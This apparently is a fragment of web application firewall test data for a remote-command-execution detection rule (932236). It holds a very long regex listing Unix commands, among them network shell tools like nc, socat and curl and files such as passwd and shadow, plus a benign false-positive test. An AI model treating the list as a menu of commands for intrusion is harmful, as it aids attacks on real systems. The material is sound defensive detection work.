"(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\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\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive with word identity" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "uuid=unique\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?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0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))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r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\